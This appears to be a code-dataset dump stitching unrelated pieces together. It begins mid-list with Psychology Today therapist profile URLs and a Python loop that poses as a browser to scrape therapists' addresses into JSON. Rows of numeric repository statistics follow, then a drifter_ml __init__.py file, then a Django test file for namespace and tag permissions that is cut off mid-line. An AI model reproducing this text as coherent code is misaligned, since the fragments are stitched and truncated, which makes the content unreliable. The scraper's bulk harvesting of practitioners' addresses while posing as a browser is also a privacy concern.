"https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/b", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/c", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/d", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/e", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/f", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/g", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/h", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/i", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/j", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/k", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/l", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/m", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/n", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/o", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/p", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/q", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/r", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/s", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/t", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/u", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/v", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/w", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/y", "https://www.psychologytoday.com/us/therapists/profile-listings/south-carolina/z", "www.psychologytoday.com/us/therapists/profile-listings/south-dakota/a", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/b", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/c", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/d", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/e", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/f", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/g", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/h", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/j", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/k", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/l", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/m", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/n", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/o", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/p", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/q", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/r", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/s", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/t", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/u", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/v", "https://www.psychologytoday.com/us/therapists/profile-listings/south-dakota/w", "www.psychologytoday.com/us/therapists/profile-listings/tennessee/a", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/b", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/c", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/d", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/e", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/f", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/g", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/h", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/i", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/j", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/k", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/l", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/m", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/n", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/o", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/p", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/q", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/r", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/s", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/t", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/u", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/v", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/w", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/y", "https://www.psychologytoday.com/us/therapists/profile-listings/tennessee/z", "www.psychologytoday.com/us/therapists/profile-listings/texas/a", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/b", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/c", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/d", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/e", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/f", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/g", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/h", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/i", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/j", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/k", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/l", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/m", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/n", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/o", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/p", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/q", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/r", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/s", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/t", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/u", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/v", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/w", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/x", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/y", "https://www.psychologytoday.com/us/therapists/profile-listings/texas/z", "www.psychologytoday.com/us/therapists/profile-listings/utah/a", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/b", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/c", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/d", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/e", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/f", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/g", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/h", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/i", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/j", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/k", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/l", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/m", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/n", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/o", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/p", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/q", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/r", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/s", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/t", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/u", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/v", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/w", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/y", "https://www.psychologytoday.com/us/therapists/profile-listings/utah/z", "www.psychologytoday.com/us/therapists/profile-listings/vermont/a", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/b", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/c", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/d", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/e", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/f", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/g", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/h", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/i", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/j", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/k", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/l", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/m", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/n", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/o", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/p", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/r", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/s", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/t", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/u", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/v", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/w", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/x", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/y", "https://www.psychologytoday.com/us/therapists/profile-listings/vermont/z", "www.psychologytoday.com/us/therapists/profile-listings/virginia/a", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/b", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/c", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/d", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/e", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/f", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/g", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/h", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/i", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/j", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/k", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/l", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/m", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/n", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/o", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/p", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/q", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/r", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/s", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/t", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/u", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/v", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/w", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/y", "https://www.psychologytoday.com/us/therapists/profile-listings/virginia/z", "www.psychologytoday.com/us/therapists/profile-listings/washington/a", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/b", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/c", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/d", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/e", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/f", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/g", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/h", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/i", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/j", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/k", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/l", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/m", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/n", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/o", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/p", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/q", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/r", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/s", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/t", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/u", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/v", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/w", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/y", "https://www.psychologytoday.com/us/therapists/profile-listings/washington/z", "www.psychologytoday.com/us/therapists/profile-listings/west-virginia/a", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/b", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/c", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/d", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/e", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/f", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/g", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/h", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/k", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/l", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/m", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/n", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/o", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/p", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/r", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/s", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/t", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/v", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/w", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/y", "https://www.psychologytoday.com/us/therapists/profile-listings/west-virginia/z", "www.psychologytoday.com/us/therapists/profile-listings/wisconsin/a", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/b", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/c", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/d", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/e", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/f", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/g", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/h", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/i", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/j", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/k", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/l", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/m", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/n", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/o", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/p", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/r", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/s", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/t", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/v", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/w", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/y", "https://www.psychologytoday.com/us/therapists/profile-listings/wisconsin/z", "www.psychologytoday.com/us/therapists/profile-listings/wyoming/a", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/b", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/c", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/d", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/e", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/f", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/g", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/h", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/j", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/k", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/l", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/m", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/n", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/p", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/r", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/s", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/t", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/v", "https://www.psychologytoday.com/us/therapists/profile-listings/wyoming/w" ] #begin for loop for link in url_list: headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36' } r = requests.get(link, headers=headers) html_content = r.text soup = BeautifulSoup(html_content, 'html.parser') #pull all listing profiles in a letter category all_prof = soup.find_all("div", attrs = {'class':'col-9 col-sm-9 col-md-10 col-lg-10 col-xl-10 col-tight-left'}) #pull profile information from every therapist page for prof in all_prof: proflink = prof.find('a') profurl = proflink['href'] headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36' } prof_request = requests.get(profurl, headers=headers) prof_html = prof_request.text prof_soup = BeautifulSoup(prof_html, "html.parser") address = prof_soup.find("div", attrs = {'itemprop' : 'address'}) time.sleep(1) alabama_address = {} alabama_address["address"] = address.text alabama_address["url"] = profurl #export out to JSON all_my_data.append(alabama_address) json_file = open('therapists7.json','w') json.dump(all_my_data,json_file, indent=2) json_file.close()
1,794
96,884
0.801905
13,032
98,670
6.069061
0.014349
0.284706
0.332157
0.363792
0.989329
0.989329
0.989329
0.989329
0.972033
0.236269
0
0.000989
0.016621
98,670
54
96,885
1,827.222222
0.81414
0.001753
0
0.15
0
6.55
0.938187
0.025474
0
0
0
0
0
1
0
false
0
0.175
0
0.175
0.05
0
0
0
null
1
1
1
1
1
1
1
1
0
0
0
0
0
0
1
1
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
12
32592311f1209617b6391dc479c8e61391c8ea31
134
py
Python
drifter_ml/columnar_tests/__init__.py
mc-robinson/drifter_ml
fe9d0d71b57b9bfba7ad67968bb583dab7dc6212
[ "MIT" ]
88
2019-03-15T01:25:43.000Z
2022-01-13T05:08:41.000Z
drifter_ml/columnar_tests/__init__.py
mc-robinson/drifter_ml
fe9d0d71b57b9bfba7ad67968bb583dab7dc6212
[ "MIT" ]
32
2019-03-20T16:16:56.000Z
2022-01-23T05:06:27.000Z
drifter_ml/columnar_tests/__init__.py
mc-robinson/drifter_ml
fe9d0d71b57b9bfba7ad67968bb583dab7dc6212
[ "MIT" ]
8
2019-04-02T21:54:42.000Z
2020-11-05T11:47:15.000Z
from .columnar_tests import DataSanitization from .columnar_tests import ColumnarData __all__ = ["DataSanitization", "ColumnarData"]
26.8
46
0.828358
13
134
8.076923
0.538462
0.228571
0.32381
0.438095
0
0
0
0
0
0
0
0
0.097015
134
4
47
33.5
0.867769
0
0
0
0
0
0.208955
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
7
32aa0ec43775f6acf9540c5ba88c26cf1d79a862
61,760
py
Python
bfd/datastore/tests/test_logic.py
department-of-data-and-coding-affairs/BFD
36484fc8061e8e4e4b5bbc914905a58af65a4469
[ "MIT" ]
3
2020-05-13T15:19:25.000Z
2021-08-06T13:44:20.000Z
bfd/datastore/tests/test_logic.py
department-of-data-and-coding-affairs/BFD
36484fc8061e8e4e4b5bbc914905a58af65a4469
[ "MIT" ]
1
2021-09-21T07:19:29.000Z
2021-09-21T10:22:49.000Z
bfd/datastore/tests/test_logic.py
ntoll/BFD
36484fc8061e8e4e4b5bbc914905a58af65a4469
[ "MIT" ]
null
null
null
""" Tests for the datastore logic used to define the behaviour of the API. Copyright (C) 2020 Nicholas H.Tollervey. "Commons Clause" License Condition v1.0: The Software is provided to you by the Licensor under the License, as defined below, subject to the following condition. Without limiting other conditions in the License, the grant of rights under the License will not include, and the License does not grant to you, the right to Sell the Software. For purposes of the foregoing, "Sell" means practicing any or all of the rights granted to you under the License to provide to third parties, for a fee or other consideration (including without limitation fees for hosting or consulting/support services related to the Software), a product or service whose value derives, entirely or substantially, from the functionality of the Software. Any license notice or attribution required by the License must also include this Commons Clause License Condition notice. MIT License: Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from unittest import mock from django.test import TestCase from datastore import logic from datastore import models class NamespaceTestCase(TestCase): """ Exercises the namespace related administrative functions. """ def setUp(self): self.site_admin_user = models.User.objects.create_user( username="site_admin_user", email="test@user.com", password="password", is_superuser=True, ) self.admin_user = models.User.objects.create_user( username="admin_user", email="test2@user.com", password="password", ) self.tag_user = models.User.objects.create_user( username="tag_user", email="test3@user.com", password="password", ) self.tag_reader = models.User.objects.create_user( username="tag_reader", email="test4@user.com", password="password", ) self.normal_user = models.User.objects.create_user( username="normal_user", email="test5@user.com", password="password", ) self.namespace_name = "test_namespace" self.namespace_description = "This is a test namespace." self.test_namespace = logic.create_namespace( self.site_admin_user, self.namespace_name, self.namespace_description, admins=[ self.admin_user, ], ) self.public_tag_name = "public_tag" self.public_tag_description = "This is a public tag." self.public_tag_type_of = "s" self.public_tag = logic.create_tag( user=self.site_admin_user, name=self.public_tag_name, description=self.public_tag_description, type_of=self.public_tag_type_of, namespace=self.test_namespace, private=False, ) self.user_tag_name = "user_tag" self.user_tag_description = "This is a user tag." self.user_tag_type_of = "b" self.user_tag = logic.create_tag( user=self.site_admin_user, name=self.user_tag_name, description=self.user_tag_description, type_of=self.user_tag_type_of, namespace=self.test_namespace, private=True, users=[ self.tag_user, ], ) self.reader_tag_name = "reader_tag" self.reader_tag_description = "This is a reader tag." self.reader_tag_type_of = "i" self.reader_tag = logic.create_tag( user=self.site_admin_user, name=self.reader_tag_name, description=self.reader_tag_description, type_of=self.reader_tag_type_of, namespace=self.test_namespace, private=True, readers=[ self.tag_reader, ], ) def test_create_namespace_as_site_admin(self): """ Ensure a site admin user who creates the namespace is assigned the expected admin role. """ name = "my_namespace" description = "This is a test namespace." mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): ns = logic.create_namespace( self.site_admin_user, name, description ) self.assertEqual(ns.name, name) self.assertEqual(ns.description, description) self.assertIn(self.site_admin_user, ns.admins.all()) mock_logger.msg.assert_called_once_with( "Create namespace.", user=self.site_admin_user.username, namespace=name, description=description, admins=[ self.site_admin_user.username, ], ) def test_create_namespace_as_site_admin_with_admin_list(self): """ Ensure a site admin user who creates the namespace is assigned the expected admin role along with any further users included in the admin list. """ name = "my_namespace" description = "This is a test namespace." admins = [ self.admin_user, ] mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): ns = logic.create_namespace( self.site_admin_user, name, description, admins ) self.assertEqual(ns.name, name) self.assertEqual(ns.description, description) self.assertIn(self.site_admin_user, ns.admins.all()) mock_logger.msg.assert_called_once_with( "Create namespace.", user=self.site_admin_user.username, namespace=name, description=description, admins=[ self.site_admin_user.username, self.admin_user.username, ], ) def test_create_namespace_with_regular_users_username(self): """ Non-site-admin users are allowed to create namespaces that match their username. """ name = self.admin_user.username # Delete the namespace created when the user was created. models.Namespace.objects.get(name=name).delete() description = "This is a test namespace." mock_logger = mock.MagicMock() with mock.patch("datastore.logic.logger", mock_logger): ns = logic.create_namespace(self.admin_user, name, description) self.assertEqual(ns.name, name) self.assertEqual(ns.description, description) self.assertIn(self.admin_user, ns.admins.all()) mock_logger.msg.assert_called_once_with( "Create namespace.", user=self.admin_user.username, namespace=name, description=description, admins=[ self.admin_user.username, ], ) def test_create_namespace_fails_with_non_site_admin_user(self): """ Non-site-admin users are not allowed to create namespaces that do not match their username. """ name = "my_namespace" description = "This is a test namespace." with self.assertRaises(PermissionError): logic.create_namespace(self.admin_user, name, description) def test_get_namespace_as_normal_user(self): """ Regular users see a limited set of attributes on only those aspects of the namespace for which they have privileges to see. In this case, the normal user can see the public tag but none of the private tags because they are not either a user or reader of those tags. """ result = logic.get_namespace(self.normal_user, self.namespace_name) self.assertEqual(result["name"], self.namespace_name) self.assertEqual(result["description"], self.namespace_description) self.assertEqual(1, len(result["tags"])) tag1 = result["tags"][0] self.assertEqual(tag1["name"], self.public_tag_name) self.assertEqual(tag1["description"], self.public_tag_description) self.assertEqual(tag1["type_of"], "string") def test_get_namespace_as_user(self): """ Regular users see a limited set of attributes on only those aspects of the namespace for which they have privileges to see. In this case, the user can see the public tag, and the private tag in which they are assigned a user role. """ result = logic.get_namespace(self.tag_user, self.namespace_name) self.assertEqual(result["name"], self.namespace_name) self.assertEqual(result["description"], self.namespace_description) self.assertEqual(2, len(result["tags"])) tag1 = result["tags"][0] tag2 = result["tags"][1] self.assertEqual(tag1["name"], self.public_tag_name) self.assertEqual(tag1["description"], self.public_tag_description) self.assertEqual(tag1["type_of"], "string") self.assertEqual(tag2["name"], self.user_tag_name) self.assertEqual(tag2["description"], self.user_tag_description) self.assertEqual(tag2["type_of"], "boolean") def test_get_namespace_as_reader(self): """ Regular users see a limited set of attributes on only those aspects of the namespace for which they have privileges to see. In this case, the user can see the public tag, and the private tag in which they are assigned a reader role. """ result = logic.get_namespace(self.tag_reader, self.namespace_name) self.assertEqual(result["name"], self.namespace_name) self.assertEqual(result["description"], self.namespace_description) self.assertEqual(2, len(result["tags"])) tag1 = result["tags"][0] tag2 = result["tags"][1] self.assertEqual(tag1["name"], self.public_tag_name) self.assertEqual(tag1["description"], self.public_tag_description) self.assertEqual(tag1["type_of"], "string") self.assertEqual(tag2["name"], self.reader_tag_name) self.assertEqual(tag2["description"], self.reader_tag_description) self.assertEqual(tag2["type_of"], "integer") def test_get_namespace_as_namespace_admin(self): """ Users who have the role of the namespace admin see an enhanced view of the namespace and child tags: system meta-data about roles, changes made and visibility. """ result = logic.get_namespace(self.admin_user, self.namespace_name) self.assertEqual(result["name"], self.namespace_name) self.assertEqual(result["description"], self.namespace_description) self.assertEqual(result["created_by"], self.site_admin_user.username) self.assertEqual( result["created_on"], str(self.test_namespace.created_on) ) self.assertEqual(result["updated_by"], self.site_admin_user.username) self.assertEqual( result["updated_on"], str(self.test_namespace.updated_on) ) self.assertEqual(3, len(result["tags"])) tag1 = result["tags"][0] tag2 = result["tags"][1] tag3 = result["tags"][2] # Tag 1 self.assertEqual(tag1["name"], self.public_tag_name) self.assertEqual(tag1["description"], self.public_tag_description) self.assertEqual(tag1["type_of"], "string") self.assertEqual(tag1["created_by"], self.site_admin_user.username) self.assertEqual(tag1["created_on"], str(self.public_tag.created_on)) self.assertFalse(tag1["private"]) self.assertEqual(tag1["updated_by"], self.site_admin_user.username) self.assertEqual(tag1["updated_on"], str(self.public_tag.updated_on)) self.assertEqual( tag1["users"], [ self.site_admin_user.username, ], ) self.assertEqual(tag1["readers"], []) # Tag 2 self.assertEqual(tag2["name"], self.reader_tag_name) self.assertEqual(tag2["description"], self.reader_tag_description) self.assertEqual(tag2["type_of"], "integer") self.assertEqual(tag2["created_by"], self.site_admin_user.username) self.assertEqual(tag2["created_on"], str(self.reader_tag.created_on)) self.assertTrue(tag2["private"]) self.assertEqual(tag2["updated_by"], self.site_admin_user.username) self.assertEqual(tag2["updated_on"], str(self.reader_tag.updated_on)) self.assertEqual( tag2["users"], [ self.site_admin_user.username, ], ) self.assertEqual( tag2["readers"], [ self.tag_reader.username, ], ) # Tag 3 self.assertEqual(tag3["name"], self.user_tag_name) self.assertEqual(tag3["description"], self.user_tag_description) self.assertEqual(tag3["type_of"], "boolean") self.assertEqual(tag3["created_by"], self.site_admin_user.username) self.assertEqual(tag3["created_on"], str(self.user_tag.created_on)) self.assertTrue(tag3["private"]) self.assertEqual(tag3["updated_by"], self.site_admin_user.username) self.assertEqual(tag3["updated_on"], str(self.user_tag.updated_on)) self.assertEqual( tag3["users"], [ self.site_admin_user.username, self.tag_user.username, ], ) self.assertEqual(tag3["readers"], []) def test_get_namespace_as_site_admin(self): """ Users who are a site admin see an enhanced view of the namespace and child tags: system meta-data about roles, changes made and visibility. """ result = logic.get_namespace(self.site_admin_user, self.namespace_name) self.assertEqual(result["name"], self.namespace_name) self.assertEqual(result["description"], self.namespace_description) self.assertEqual(result["created_by"], self.site_admin_user.username) self.assertEqual( result["created_on"], str(self.test_namespace.created_on) ) self.assertEqual(result["updated_by"], self.site_admin_user.username) self.assertEqual( 